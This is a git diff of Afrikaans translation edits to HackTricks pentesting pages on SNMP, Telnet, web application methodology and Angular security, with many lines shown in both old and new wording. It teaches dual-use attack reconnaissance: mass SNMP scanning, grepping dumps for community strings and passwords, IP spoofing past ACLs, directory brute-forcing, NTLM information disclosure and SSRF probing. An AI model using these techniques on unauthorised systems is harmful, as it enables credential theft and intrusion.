[Braa ](https://github.com/mteg/braa) is 'n massiewe SNMP skandeerder. Die beoogde gebruik van so 'n hulpmiddel is, natuurlik, om SNMP versoeke te maak maar anders as snmpwalk van net-snmp, is dit in staat om dosyne of honderde gashere gelyktydig te ondervra, en in 'n enkele proses. Dus, dit verbruik baie min stelselhulpbronne en doen die skandering BAIE vinnig.
[Braa ](https://github.com/mteg/braa) is 'n massiewe SNMP skandeerder. Die beoogde gebruik van so 'n hulpmiddel is, natuurlik, om SNMP versoeke te maak maar anders as snmpwalk van net-snmp, is dit in staat om dosyne of honderde gashere gelyktydig te vra, en in 'n enkele proses. Dus, dit verbruik baie min stelselhulpbronne en doen die skandering BAIE vinnig.
Braa implementeer sy EIE snmp stapel, so dit het GEEN SNMP biblioteke soos net-snmp nodig nie.
Braa implementeer sy EIE snmp-stapel, so dit het GEEN SNMP biblioteke soos net-snmp nodig nie.
**Sintaksis:** braa \[Gemeenskaps-string\]@\[\[IP van SNMP bediener\]:\[\[iso id\]
**Sintaksis:** braa \[Gemeenskaps-string]@\[IP van SNMP bediener]:\[iso id]
```bash
braa ignite123@192.168.1.125:.1.3.6.*
```
@ -194,13 +194,13 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp
```
### **Identifiseer Privaat String**
'n Belangrike stap behels die identifisering van die **privaat gemeenskap string** wat deur organisasies gebruik word, veral op Cisco IOS-ruters. Hierdie string stel die onttrekking van **lopende konfigurasies** van ruters in staat. Die identifisering staat dikwels op die analise van SNMP Trap-data vir die woord "trap" met 'n **grep-opdrag**:
'n Belangrike stap behels die identifisering van die **privaat gemeenskap string** wat deur organisasies gebruik word, veral op Cisco IOS routers. Hierdie string stel die onttrekking van **lopende konfigurasies** van routers in staat. Die identifisering staat dikwels op die analise van SNMP Trap data vir die woord "trap" met 'n **grep commando**:
```bash
grep -i "trap" *.snmp
```
### **Gebruikersname/Wagwoorde**
Logs wat in MIB-tabelle gestoor is, word ondersoek vir **mislukte aanmeldpogings**, wat per ongeluk wagwoorde kan insluit wat as gebruikersname ingevoer is. Sleutelwoorde soos _fail_, _failed_, of _login_ word gesoek om waardevolle data te vind:
Logs wat in MIB-tabelle gestoor is, word ondersoek vir **mislukte aanmeldpogings**, wat per ongeluk wagwoorde wat as gebruikersname ingevoer is, kan insluit. Sleutelwoorde soos _fail_, _failed_, of _login_ word gesoek om waardevolle data te vind:
```bash
grep -i "login\|fail" *.snmp
```
@ -210,22 +210,22 @@ Laastens, om **e-posadresse** uit die data te onttrek, word 'n **grep-opdrag** m
```bash
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
```
## Modifying SNMP values
## Wysigting SNMP waardes
Jy kan _**NetScanTools**_ gebruik om **waardes** te **wysig**. Jy sal die **private string** moet ken om dit te doen.
Jy kan _**NetScanTools**_ gebruik om **waardes** te **wysig**. Jy sal die **privaat string** moet ken om dit te kan doen.
## Spoofing
As daar 'n ACL is wat slegs sekere IP's toelaat om die SNMP-diens te vra, kan jy een van hierdie adresse in die UDP-pakket naboots en die verkeer afluister.
As daar 'n ACL is wat slegs sekere IP's toelaat om die SNMP diens te vra, kan jy een van hierdie adresse in die UDP-pakket spoof en die verkeer snuffel.
## Examine SNMP Configuration files
## Ondersoek SNMP Konfigurasie lêers
- snmp.conf
- snmpd.conf
- snmp-config.xml
## HackTricks Automatic Commands
## HackTricks Outomatiese Opdragte
```
Protocol_Name: SNMP #Protocol Abbreviation if there is one.
Port_Number: 161 #Comma separated if there is more than one.
@ -237,7 +237,7 @@ Description: Notes for SNMP
Note: |
SNMP - Simple Network Management Protocol is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...).
https://book.hacktricks.xyz/pentesting/pentesting-snmp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: SNMP Check

View File

@ -23,7 +23,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
```
Die skrip `telnet-ntlm-info.nse` sal NTLM-inligting verkry (Windows weergawes).
Van die [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): In die TELNET-protokol is daar verskeie "**opsies**" wat goedgekeur sal word en gebruik kan word met die "**DO, DON'T, WILL, WON'T**" struktuur om 'n gebruiker en bediener in staat te stel om saam te stem om 'n meer uitgebreide (of dalk net ander) stel konvensies vir hul TELNET-verbinding te gebruik. Sulke opsies kan insluit die verandering van die karakterstel, die echo-modus, ens.
Van die [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): In die TELNET-protokol is daar verskeie "**opsies**" wat goedgekeur sal word en gebruik kan word met die "**DO, DON'T, WILL, WON'T**" struktuur om 'n gebruiker en bediener toe te laat om saam te stem om 'n meer uitgebreide (of dalk net ander) stel konvensies vir hul TELNET-verbinding te gebruik. Sulke opsies kan insluit die verandering van die karakterstel, die echo-modus, ens.
**Ek weet dit is moontlik om hierdie opsies te tel, maar ek weet nie hoe nie, so laat weet my as jy weet hoe.**
@ -48,7 +48,7 @@ Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip
https://book.hacktricks.xyz/pentesting/pentesting-telnet
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
Entry_2:
Name: Banner Grab

View File

@ -1,4 +1,4 @@
# 80,443 - Pentesting Web Metodologie
# 80,443 - Pentesting Web Methodology
{{#include ../../banners/hacktricks-training.md}}
@ -25,11 +25,11 @@ web-api-pentesting.md
## Metodologie opsomming
> In hierdie metodologie gaan ons veronderstel dat jy 'n domein (of subdomein) gaan aanval en net dit. So, jy moet hierdie metodologie toepas op elke ontdekte domein, subdomein of IP met 'n onbepaalde webbediener binne die omvang.
> In hierdie metodologie gaan ons aanneem dat jy 'n domein (of subdomein) gaan aanval en net dit. So, jy moet hierdie metodologie toepas op elke ontdekte domein, subdomein of IP met onbepaalde webbediener binne die omvang.
- [ ] Begin met **identifisering** van die **tegnologieë** wat deur die webbediener gebruik word. Soek na **tricks** om in gedagte te hou tydens die res van die toets as jy die tegnologie suksesvol kan identifiseer.
- [ ] Enige **bekende kwesbaarheid** van die weergawe van die tegnologie?
- [ ] Gebruik enige **bekende tegnologie**? Enige **nuttige truuk** om meer inligting te onttrek?
- [ ] Gebruik enige **goed bekende tegnologie**? Enige **nuttige truuk** om meer inligting te onttrek?
- [ ] Enige **gespesialiseerde skandeerder** om te loop (soos wpscan)?
- [ ] Begin **algemene doeleindes skandeerders**. Jy weet nooit of hulle iets gaan vind of as hulle interessante inligting gaan vind.
- [ ] Begin met die **aanvangs kontroles**: **robots**, **sitemap**, **404** fout en **SSL/TLS skandering** (as HTTPS).
@ -37,9 +37,9 @@ web-api-pentesting.md
- [ ] _Let daarop dat enige tyd 'n nuwe gids ontdek word tydens brute-forcing of spidering, dit moet gespider word._
- [ ] **Gids Brute-Forcing**: Probeer om al die ontdekte vouers te brute-force terwyl jy soek na nuwe **lêers** en **gidses**.
- [ ] _Let daarop dat enige tyd 'n nuwe gids ontdek word tydens brute-forcing of spidering, dit moet Brute-Forced word._
- [ ] **Backups nagaan**: Toets of jy **backups** van **ontdekte lêers** kan vind deur algemene backup uitbreidings by te voeg.
- [ ] **Backups kontrole**: Toets of jy **backups** van **ontdekte lêers** kan vind deur algemene backup uitbreidings by te voeg.
- [ ] **Brute-Force parameters**: Probeer om **versteekte parameters** te **vind**.
- [ ] Sodra jy alle moontlike **eindpunte** wat **gebruikersinvoer** aanvaar, **geïdentifiseer** het, kyk vir alle soorte **kwesbaarhede** wat daarmee verband hou.
- [ ] Sodra jy al die moontlike **eindpunte** wat **gebruikersinvoer** aanvaar, **geïdentifiseer** het, kyk vir alle soorte **kwesbaarhede** wat daarmee verband hou.
- [ ] [Volg hierdie kontrolelys](../../pentesting-web/web-vulnerabilities-methodology.md)
## Bediener Weergawe (Kwetsbaar?)
@ -47,7 +47,7 @@ web-api-pentesting.md
### Identifiseer
Kyk of daar **bekende kwesbaarhede** is vir die bediener **weergawe** wat loop.\
Die **HTTP koppe en koekies van die antwoord** kan baie nuttig wees om die **tegnologieë** en/of **weergawe** wat gebruik word te **identifiseer**. **Nmap skandering** kan die bediener weergawe identifiseer, maar dit kan ook nuttig wees om die gereedskap [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)of [**https://builtwith.com/**](https://builtwith.com)**:**
Die **HTTP koptekste en koekies van die antwoord** kan baie nuttig wees om die **tegnologieë** en/of **weergawe** wat gebruik word te **identifiseer**. **Nmap skandering** kan die bediener weergawe identifiseer, maar dit kan ook nuttig wees om die gereedskap [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)of [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
@ -86,7 +86,7 @@ Sommige **truuks** vir **die vind van kwesbaarhede** in verskillende bekende **t
- [**Laravel**](laravel.md)
- [**Moodle**](moodle.md)
- [**Nginx**](nginx.md)
- [**PHP (php het 'n klomp interessante truuks wat benut kan word)**](php-tricks-esp/index.html)
- [**PHP (php het 'n klomp interessante truuks wat uitgebuit kan word)**](php-tricks-esp/index.html)
- [**Python**](python.md)
- [**Spring Actuators**](spring-actuators.md)
- [**Symphony**](symphony.md)
@ -103,13 +103,13 @@ As die webtoepassing enige bekende **tegnologie/platform wat voorheen gelys is**
### Bronkode Hersiening
As die **bronkode** van die toepassing beskikbaar is in **github**, benewens om 'n **wit boks toets** van die toepassing uit te voer, is daar **sekere inligting** wat **nuttig** kan wees vir die huidige **swart boks toetsing**:
As die **bronkode** van die toepassing beskikbaar is in **github**, benewens om 'n **White box toets** van die toepassing te doen, is daar **some inligting** wat **nuttig** kan wees vir die huidige **Black-Box toetsing**:
- Is daar 'n **Veranderingslog of Readme of Weergawe** lêer of enigiets met **weergave-inligting toeganklik** via die web?
- Hoe en waar word die **akkrediteer** gestoor? Is daar enige (toeganklike?) **lêer** met akkrediteer (gebruikersname of wagwoorde)?
- Is **wagwoorde** in **platte teks**, **geënkripteer** of watter **hash-algoritme** word gebruik?
- Is **wagwoorde** in **plank teks**, **geënkripteer** of watter **hashing algoritme** word gebruik?
- Gebruik dit enige **meester sleutel** om iets te enkripteer? Watter **algoritme** word gebruik?
- Kan jy **toegang tot enige van hierdie lêers** verkry deur 'n kwesbaarheid te benut?
- Kan jy **toegang kry tot enige van hierdie lêers** deur 'n kwesbaarheid te benut?
- Is daar enige **interessante inligting in die github** (opgeloste en nie-opgeloste) **kwessies**? Of in **commit geskiedenis** (miskien 'n **wagwoord wat in 'n ou commit ingevoer is**)?
{{#ref}}
@ -160,20 +160,20 @@ joomlavs.rb #https://github.com/rastating/joomlavs
- /crossdomain.xml
- /clientaccesspolicy.xml
- /.well-known/
- Kyk ook na kommentaar in die hoof- en sekondêre bladsye.
- Kontroleer ook kommentaar in die hoof- en sekondêre bladsye.
**Dwing foute**
Webbedieners mag **onverwagte gedrag** vertoon wanneer vreemde data na hulle gestuur word. Dit kan **kwesbaarhede** of **sensitiewe inligting openbaar**.
- Toegang tot **valse bladsye** soos /whatever_fake.php (.aspx,.html,.ens)
- **Voeg "\[]", "]]", en "\[\["** in **koekie waardes** en **parameter** waardes by om foute te skep
- **Voeg "\[]", "]]", en "\[\["** in **koekie waardes** en **parameter** waardes in om foute te skep
- Genereer 'n fout deur insette te gee as **`/~randomthing/%s`** aan die **einde** van die **URL**
- Probeer **verskillende HTTP Werkwoorde** soos PATCH, DEBUG of verkeerd soos FAKE
#### **Kyk of jy lêers kan oplaai (**[**PUT werkwoord, WebDav**](put-method-webdav.md)**)**
#### **Kontroleer of jy lêers kan oplaai (**[**PUT werkwoord, WebDav**](put-method-webdav.md)**)**
As jy vind dat **WebDav** **geaktiveer** is, maar jy nie genoeg regte het om **lêers op te laai** in die wortelgids nie, probeer om:
As jy vind dat **WebDav** **geaktiveer** is, maar jy nie genoeg regte het om **lêers** in die wortelgids op te laai nie, probeer om:
- **Brute Force** akrediteer
- **Lêers op te laai** via WebDav na die **oorblywende** **gevonde gidse** binne die webblad. Jy mag regte hê om lêers in ander gidse op te laai.
@ -219,11 +219,11 @@ Begin 'n soort **spider** binne die web. Die doel van die spider is om **soveel
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Laai 'n bladsy in 'n headless browser en druk al die URL's wat gelaai is om die bladsy te laai.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Inhoud ontdekking hulpmiddel wat verskeie opsies van die vorige hulpmiddels meng.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 'n Burp uitbreiding om paaie en params in JS-lêers te vind.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n Hulpmiddel wat gegee die .js.map URL jou die beautified JS-kode sal gee.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n Hulpmiddel wat gegee die .js.map URL jou die beatified JS-kode sal gee.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Dit is 'n hulpmiddel wat gebruik word om eindpunte vir 'n gegewe teiken te ontdek.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ontdek skakels van die wayback masjien (ook die antwoorde in die wayback aflaai en na meer skakels soek).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Kruip (selfs deur vorms in te vul) en vind ook sensitiewe inligting met behulp van spesifieke regexes.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-funksie GUI web sekuriteit Crawler/Spider ontwerp vir kuberveiligheid professionele.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-funksie GUI web sekuriteit Crawler/Spider ontwerp vir kuberveveiliging professionele.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Dit is 'n Go-pakket en [opdraglyn hulpmiddel](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) om URL's, paaie, geheime en ander interessante data uit JavaScript-bronkode te onttrek.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is 'n eenvoudige **Burp Suite uitbreiding** om **die parameters en eindpunte** uit die versoek te onttrek om 'n pasgemaakte woordlys vir fuzzing en enumerasie te skep.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Wonderlike hulpmiddel hiervoor.
@ -231,7 +231,7 @@ Begin 'n soort **spider** binne die web. Die doel van die spider is om **soveel
### Brute Force directories and files
Begin **brute-forcing** vanaf die wortelmap en wees seker om **alle** die **directories wat gevind is** te brute-force met behulp van **hierdie metode** en al die directories **ontdek** deur die **Spidering** (jy kan hierdie brute-forcing **rekursief** doen en aan die begin van die gebruikte woordlys die name van die gevonde directories byvoeg).\
Begin **brute-forcing** vanaf die wortelmap en wees seker om **alle** die **directories wat gevind is** te brute-force met **hierdie metode** en al die directories **ontdek** deur die **Spidering** (jy kan hierdie brute-forcing **rekursief** doen en die name van die gevonde directories aan die begin van die gebruikte woordlys voeg).\
Hulpmiddels:
- **Dirb** / **Dirbuster** - Ingesluit in Kali, **oud** (en **stadig**) maar funksioneel. Laat outomaties onderteken sertifikate toe en rekursiewe soektog. Te stadig in vergelyking met die ander opsies.
@ -240,9 +240,9 @@ Hulpmiddels:
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Vinning, ondersteun rekursiewe soektog.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Vinning: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): Dit is nie 'n spider nie, maar 'n hulpmiddel wat gegee die lys van gevonde URL's sal "gedupliceerde" URL's verwyder.
- [**uro**](https://github.com/s0md3v/uro) (python): Dit is nie 'n spider nie, maar 'n hulpmiddel wat gegee die lys van gevonde URL's sal "gedupliseerde" URL's verwyder.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Uitbreiding om 'n lys van directories uit die burp geskiedenis van verskillende bladsye te skep.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Verwyder URL's met gedupliceerde funksies (gebaseer op js imports).
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Verwyder URL's met gedupliseerde funksies (gebaseer op js imports).
- [**Chamaleon**](https://github.com/iustin24/chameleon): Dit gebruik wapalyzer om gebruikte tegnologieë te detecteer en die woordlyste te kies.
**Aanbevole woordlyste:**
@ -268,16 +268,16 @@ _Nota dat enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spider
### Wat om te kontroleer op elke lêer wat gevind is
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Vind gebroke skakels binne HTML's wat geneig kan wees om oorname te ondergaan.
- **Lêer Rugsteun**: Sodra jy al die lêers gevind het, soek na rugsteun van al die uitvoerbare lêers ("_.php_", "_.aspx_"...). Algemene variasies vir die benoeming van 'n rugsteun is: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp en file.old._ Jy kan ook die hulpmiddel [**bfac**](https://github.com/mazen160/bfac) **of** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Vind gebroke skakels binne HTML's wat geneig kan wees om oorname te neem.
- **Lêer Rugsteun**: Sodra jy al die lêers gevind het, soek vir rugsteun van al die uitvoerbare lêers ("_.php_", "_.aspx_"...). Algemene variasies vir die benoeming van 'n rugsteun is: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp en file.old._ Jy kan ook die hulpmiddel [**bfac**](https://github.com/mazen160/bfac) **of** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Ontdek nuwe parameters**: Jy kan hulpmiddels soos [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **en** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gebruik om verborge parameters te ontdek. As jy kan, kan jy probeer om** verborge parameters op elke uitvoerbare web lêer te soek.
- _Arjun al standaard woordlyste:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Kommentaar:** Kontroleer die kommentaar van al die lêers, jy kan **akkrediteer** of **verborge funksionaliteit** vind.
- As jy **CTF** speel, is 'n "gewone" truuk om **inligting** te **versteek** binne kommentaar aan die **regterkant** van die **bladsy** (met behulp van **honderde** **spasies** sodat jy nie die data sien as jy die bronkode met die blaaiert oopmaak nie). 'n Ander moontlikheid is om **verskeie nuwe lyne** te gebruik en **inligting** in 'n kommentaar aan die **onderkant** van die webblad te versteek.
- **API sleutels**: As jy **enige API-sleutel** vind, is daar 'n gids wat aandui hoe om API-sleutels van verskillende platforms te gebruik: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
- **Kommentaaren:** Kontroleer die kommentaar van al die lêers, jy kan **akkrediteer** of **verborge funksionaliteit** vind.
- As jy **CTF** speel, is 'n "gewone" truuk om **inligting** binne kommentaar aan die **regte** van die **bladsy** te **versteek** (met behulp van **honderde** **spasies** sodat jy nie die data sien as jy die bronkode met die blaaiers oopmaak nie). 'n Ander moontlikheid is om **verskeie nuwe lyne** te gebruik en **inligting** in 'n kommentaar aan die **onderkant** van die webblad te **versteek**.
- **API sleutels**: As jy **enige API-sleutel** vind, is daar 'n gids wat aandui hoe om API-sleutels van verskillende platforms te gebruik: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API sleutels: As jy enige API-sleutel vind wat lyk soos **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik kan jy die projek [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) gebruik om te kyk watter API's die sleutel kan toegang.
- **S3 Buckets**: Terwyl jy spider, kyk of enige **subdomein** of enige **skakel** verband hou met 'n **S3-bucket**. In daardie geval, [**kontroleer** die **toestemmings** van die bucket](buckets/index.html).
@ -287,17 +287,17 @@ _Nota dat enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spider
**Interessante lêers**
- Soek na **skakels** na ander lêers binne die **CSS** lêers.
- [As jy 'n _**.git**_ lêer vind, kan sommige inligting onttrek word](git.md).
- As jy 'n _**.env**_ lêer vind, kan inligting soos API-sleutels, databasis wagwoorde en ander inligting gevind word.
- Soek vir **skakels** na ander lêers binne die **CSS** lêers.
- [As jy 'n _**.git**_ lêer vind, kan sommige inligting onttrek word](git.md)
- As jy 'n _**.env**_ vind, kan inligting soos API-sleutels, databasis wagwoorde en ander inligting gevind word.
- As jy **API eindpunte** vind, [moet jy dit ook toets](web-api-pentesting.md). Hierdie is nie lêers nie, maar sal waarskynlik "soos" hulle lyk.
- **JS lêers**: In die spidering afdeling is verskeie hulpmiddels genoem wat paaie uit JS-lêers kan onttrek. Dit sal ook interessant wees om **elke JS-lêer wat gevind is** te monitor, aangesien 'n verandering kan aandui dat 'n potensiële kwesbaarheid in die kode ingevoer is. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)**.** gebruik.
- **JS-lêers**: In die spidering afdeling is verskeie hulpmiddels genoem wat paaie uit JS-lêers kan onttrek. Dit sal ook interessant wees om **elke JS-lêer wat gevind is** te **monitor**, aangesien 'n verandering kan aandui dat 'n potensiële kwesbaarheid in die kode bekendgestel is. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)**.**
- Jy moet ook ontdekte JS-lêers met [**RetireJS**](https://github.com/retirejs/retire.js/) of [**JSHole**](https://github.com/callforpapers-source/jshole) kontroleer om te vind of dit kwesbaar is.
- **Javascript Deobfuscator en Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
- **JsFuck deobfuscation** (javascript met karakters:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)).
- **Javascript Deobfuscator en Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript met karakters:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- Op verskeie geleenthede sal jy moet **die regulêre uitdrukkings** wat gebruik word verstaan. Dit sal nuttig wees: [https://regex101.com/](https://regex101.com) of [https://pythonium.net/regex](https://pythonium.net/regex).
- Op verskeie geleenthede, sal jy moet **die regulêre uitdrukkings** wat gebruik word verstaan. Dit sal nuttig wees: [https://regex101.com/](https://regex101.com) of [https://pythonium.net/regex](https://pythonium.net/regex)
- Jy kan ook **die lêers monitor waar vorms gedetecteer is**, aangesien 'n verandering in die parameter of die verskyning van 'n nuwe vorm 'n potensiële nuwe kwesbare funksionaliteit kan aandui.
**403 Verbode/Basiese Verifikasie/401 Nie-toegelaat (omseiling)**
@ -308,21 +308,21 @@ _Nota dat enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spider
**502 Proxy Fout**
As enige bladsy **antwoord gee** met daardie **kode**, is dit waarskynlik 'n **sleg geconfigureerde proxy**. **As jy 'n HTTP versoek soos: `GET https://google.com HTTP/1.1`** (met die host header en ander algemene headers) stuur, sal die **proxy** probeer om **toegang** te verkry tot _**google.com**_ **en jy sal 'n** SSRF gevind het.
As enige bladsy **antwoord** met daardie **kode**, is dit waarskynlik 'n **sleg geconfigureerde proxy**. **As jy 'n HTTP versoek soos: `GET https://google.com HTTP/1.1`** (met die host header en ander algemene headers) stuur, sal die **proxy** probeer om **toegang** te verkry tot _**google.com**_ **en jy sal 'n** SSRF gevind het.
**NTLM Verifikasie - Inligtingsontsluiting**
As die bediener wat verifikasie vra **Windows** is of jy 'n aanmeldingsvorm vind wat om jou **akkrediteer** (en om **domeinnaam** vra), kan jy 'n **inligtingsontsluiting** veroorsaak.\
As die bediener wat verifikasie vra **Windows** is of jy 'n aanmeld vind wat om jou **akkrediteer** (en vra vir **domein** **naam**), kan jy 'n **inligtingsontsluiting** veroorsaak.\
**Stuur** die **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` en as gevolg van hoe die **NTLM verifikasie werk**, sal die bediener met interne inligting (IIS weergawe, Windows weergawe...) binne die header "WWW-Authenticate" antwoordgee.\
Jy kan **dit outomatiseer** met behulp van die **nmap plugin** "_http-ntlm-info.nse_".
Jy kan **dit outomatiseer** met die **nmap plugin** "_http-ntlm-info.nse_".
**HTTP Oorplasing (CTF)**
Dit is moontlik om **inhoud** binne 'n **Oorplasing** te plaas. Hierdie inhoud **sal nie aan die gebruiker gewys word** (aangesien die blaaiert die oorplasing sal uitvoer) nie, maar iets kan **versteek** wees daarin.
Dit is moontlik om **inhoud** binne 'n **Oorplasing** te **sit**. Hierdie inhoud **sal nie aan die gebruiker** gewys word (aangesien die blaaiers die oorplasing sal uitvoer) nie, maar iets kan **versteek** wees daarin.
### Web Kwesbaarhede Kontroleer
Nou dat 'n omvattende enumerasie van die webtoepassing uitgevoer is, is dit tyd om vir 'n baie moontlike kwesbaarhede te kontroleer. Jy kan die kontrolelys hier vind:
Nou dat 'n omvattende enumerasie van die webtoepassing uitgevoer is, is dit tyd om vir 'n klomp moontlike kwesbaarhede te kontroleer. Jy kan die kontrolelys hier vind:
{{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md
@ -348,7 +348,7 @@ Entry_1:
Name: Notes
Description: Notes for Web
Note: |
https://book.hacktricks.xyz/pentesting/pentesting-web
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/index.html
Entry_2:
Name: Quick Web Scan

View File

@ -8,9 +8,9 @@ Kontrolelys [van hier](https://lsgeurope.com/post/angular-security-checklist).
* [ ] Sourcemap vir skrifte is gedeaktiveer in die projekkonfigurasie
* [ ] Onbetroubare gebruikersinvoer word altyd geïnterpoleer of gesaniteer voordat dit in sjablone gebruik word
* [ ] Die gebruiker het geen beheer oor bediener-kant of kliënt-kant sjablone nie
* [ ] Onbetroubare gebruikersinvoer word gesaniteer met 'n toepaslike sekuriteitskonteks voordat dit deur die aansoek vertrou word
* [ ] Onbetroubare gebruikersinvoer word gesaniteer met 'n toepaslike sekuriteitskonteks voordat dit deur die toepassing vertrou word
* [ ] `BypassSecurity*` metodes word nie gebruik met onbetroubare invoer nie
* [ ] Onbetroubare gebruikersinvoer word nie aan Angular klasse soos `ElementRef`, `Renderer2` en `Document`, of ander JQuery/DOM sinks oorgedra nie
* [ ] Onbetroubare gebruikersinvoer word nie aan Angular klasse soos `ElementRef`, `Renderer2` en `Document`, of ander JQuery/DOM sinks deurgegee nie
## Wat is Angular
@ -18,7 +18,7 @@ Angular is 'n **kragtige** en **oopbron** front-end raamwerk wat deur **Google**
## Raamwerk argitektuur
Om die basiese beginsels van Angular beter te verstaan, laat ons deur sy essensiële konsepte gaan.
Om die basiese beginsels van Angular beter te verstaan, kom ons kyk na sy essensiële konsepte.
Gewone Angular projek lyk gewoonlik soos:
```bash
@ -39,17 +39,17 @@ my-workspace/
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
```
Volgens die dokumentasie het elke Angular-toepassing ten minste een komponent, die wortelkomponent (`AppComponent`) wat 'n komponenthiërargie met die DOM verbind. Elke komponent definieer 'n klas wat toepassingsdata en -logika bevat, en is geassosieer met 'n HTML-sjabloon wat 'n weergawe definieer wat in 'n teikenomgewing vertoon moet word. Die `@Component()` dekorator identifiseer die klas onmiddellik onder dit as 'n komponent, en verskaf die sjabloon en verwante komponent-spesifieke metadata. Die `AppComponent` is gedefinieer in die `app.component.ts` lêer.
